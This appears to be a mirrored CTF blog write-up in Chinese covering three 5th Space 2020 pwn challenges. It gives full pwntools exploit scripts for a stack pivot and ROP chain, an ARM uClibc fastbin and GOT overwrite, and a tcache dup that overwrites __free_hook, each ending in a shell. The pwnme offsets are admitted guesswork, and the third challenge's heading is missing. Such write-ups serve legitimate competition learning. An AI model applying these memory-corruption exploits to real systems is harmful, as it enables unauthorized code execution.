3

第五空间 2020 Pwn

 2 years ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/06/25/5space/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

三道题的题目附件:5space_attachment.zip

twice

带canary的栈溢出,可以通过puts泄露栈溢出并且出题人会修好溢出泄露时对canary最后一个0字节的破坏。第二次输入时即可栈溢出劫持返回地址,但是因为溢出长度受限无法直接ROP。通过劫持到leave上,进行栈迁移,到输入的缓冲区上进而完成ROP。在ROP中,首先通过puts泄露GOT表进而泄露libc,然后将程序控制流返回到_start上进而继续栈溢出即可劫持控制流到one_gadget上,进而完成控制流劫持。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io   = remote("121.36.59.116",9999)
uu64 = lambda data : u64(data.ljust(8, b'\0'))

# leak canary and stack
io.recvuntil(">");io.send("a"*89);io.recv(89)
canary = uu64('\x00'+io.recv(7))
stack = uu64(io.recv(6))

# stack overflow to leak libc and go back _start
io.recvuntil(">")
payload = p64(0)
payload += p64(0x400923)        # pop rdi
payload += p64(0x601020)        # puts_got
payload += p64(0x4005C0)        # puts
payload += p64(0x400630)        # _start
payload =  payload.ljust(88)    # full the buffer
payload += p64(canary)          # canary
payload += p64(stack-112)       # buffer addr
payload += p64(0x400879)        # leave to hijack rsp to buffer addr
io.send(payload)
io.recvline()
libc = uu64(io.recv(6))-0x6f690
log.warn(hex(libc))

# pass the first input
io.recvuntil(">");io.send("a");io.recvuntil(">")

#stack overflow to one gadget
payload = ""
payload = payload.ljust(88)     # fill stack with NULL to satisfy one_gadget
payload += p64(canary)          # canary
payload += p64(stack-112)       # buffer addr
payload += p64(libc+0x4526a)    # one_gadget
io.send(payload)

io.interactive()

pwnme

arm的堆溢出,使用的是uclibc,在bss段构造伪堆块并且通过堆溢出将fastbin的fd指向伪堆块,即可将堆块分配到bss段,通过修改bss段的指针数据,即可泄露libc并且修改got表,最终通过修改free的got表为system,然后free掉一个内容是$0的chunk即可getshell。比赛中并没有搭好环境,以下exp为盲测结果,其中的偏移并不知道为何。

from pwn import *
context(log_level='debug',os='linux',arch='arm')
io = remote('121.36.58.215', 1337)
libc = ELF('./libuClibc-1.0.34.so')

sla         = lambda delim,data          :  (io.sendlineafter(delim, data))
show        = lambda                     :  (sla(">>> ","1"))
add         = lambda len,data            :  (sla(">>> ","2"),sla("Length:",str(len)),sla("Tag:",data))
edit        = lambda index,len,data      :  (sla(">>> ","3"),sla("Index:",str(index)),sla("Length:",str(len)),sla("Tag:",data))
delete      = lambda index               :  (sla(">>> ","4"),sla("Tag:",str(index)))

# just try and don't know why to -2
fd = 0x2106c - 8 - 2  
free_got = 0x00021038

# prepare chunks
add(0x40,'a')
add(0x40,'a')
add(0x40,'a')
add(0x40,'$0\x00')

# use heap overflow to modify the fd of fastbin chunk to bss
delete(1)
edit(0,0x88,'a'*0x44+p32(0x48)+p32(fd))

# get the fake chunk and modify bss data to free_got
# just try and don't know why to 34+2
add(0x40,'a')
add(0x40,'a'*(34+2) + p32(free_got))

# print free_got to leak libc
show();io.recvuntil('0 : ')
leak = u32(io.recv(4))
log.success(hex(leak))
libc.address = leak - libc.symbols['free']

# modify free_got to system
edit(0,4,p32(libc.symbols['system']))

# trigger system($0)
delete(3)
io.interactive()

libc2.27,有tcache,原题直接给了c源码,在源码中,堆块的使用、申请与释放存在着cookie的保护,使得虽然在释放后存在悬空指针,但是并无法触发UAF或者double free。但是在远程环境中,cookie似乎没有起到任何作用,所以直接通过基本的堆利用的手段,UAF泄露unsorted bin地址以及tcache dup完成泄露libc基址以及任意地址写,最后通过改写__free_hook,完成控制流劫持进而getshell。

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
io = remote('121.36.74.70', 9999)
libc = ELF('./libc-2.27.so')

sla         = lambda delim,data          :  (io.sendlineafter(delim, data))
add         = lambda index               :  (sla("choice:","1"),sla("Index: ",str(index)))
edit        = lambda index,data          :  (sla("choice:","2"),sla("Index: ",str(index)),sla("Content: ",str(data)))
show        = lambda index               :  (sla("choice:","3"),sla("Index: ",str(index)))
delete      = lambda index               :  (sla("choice:","4"),sla("Index: ",str(index)))
uu64        = lambda data                :  u64(data.ljust(8, b'\0'))

# use unsorted bin to leak libc
for i in range(8): add(i)
for i in range(7): delete(i+1)
delete(0);show(0)
io.recvuntil('Content: ')
libc.address = uu64(io.recv(6))-0x3ebca0

# empty tcache
for i in range(9): add(i)

# use tcache dup to aaw
delete(0)
delete(0)
add(0);edit(0,p64(libc.symbols['__free_hook']))
add(1);
add(2);edit(2,p64(libc.symbols['system']))

# use free(3) trigger system($0)
edit(3,'$0\x00');delete(3)
io.interactive()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK